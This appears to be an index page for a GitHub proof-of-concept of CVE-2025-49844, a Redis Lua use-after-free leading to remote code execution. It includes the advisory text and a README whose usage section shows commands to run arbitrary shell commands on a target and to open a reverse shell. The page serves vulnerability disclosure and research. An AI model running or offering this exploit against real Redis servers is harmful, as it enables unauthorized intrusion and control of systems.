CVE-2025-49844 PoC — Redis Lua Use-After-Free may lead to remote code execution

Source

https://github.com/saneki/cve-2025-49844

Associated Vulnerability

Title: Redis Lua Use-After-Free may lead to remote code execution (CVE-2025-49844)
Description:Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate the garbage collector, trigger a use-after-free and potentially lead to remote code execution. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to restrict EVAL and EVALSHA commands.

Description

Proof-of-concept for CVE-2025-49844

Readme

# CVE-2025-49844

My personal proof-of-concept for [CVE-2025-49844], also known as [RediShell].

Supported target builds:
- x86-64 Linux `redis:8.2.1-alpine` Docker image
- x86-64 Linux `redis:8.2.1-bookworm` Docker image

It's a bit clumsy, probably not as good as Wiz Research's. Still, I'm glad I managed to get it working before the Hexacon 2025 talks are uploaded, and I had a great time investigating it.

## Usage

Run one-way shell commands:
```sh
$ uv run cve-2025-49844 command "echo 'hello world' > /data/hello.txt"
```

Connect to a reverse shell:
```sh
$ uv run cve-2025-49844 rshell -l 127.0.0.1 -p 4444
```

[CVE-2025-49844]:https://nvd.nist.gov/vuln/detail/CVE-2025-49844
[RediShell]:https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844

File Snapshot

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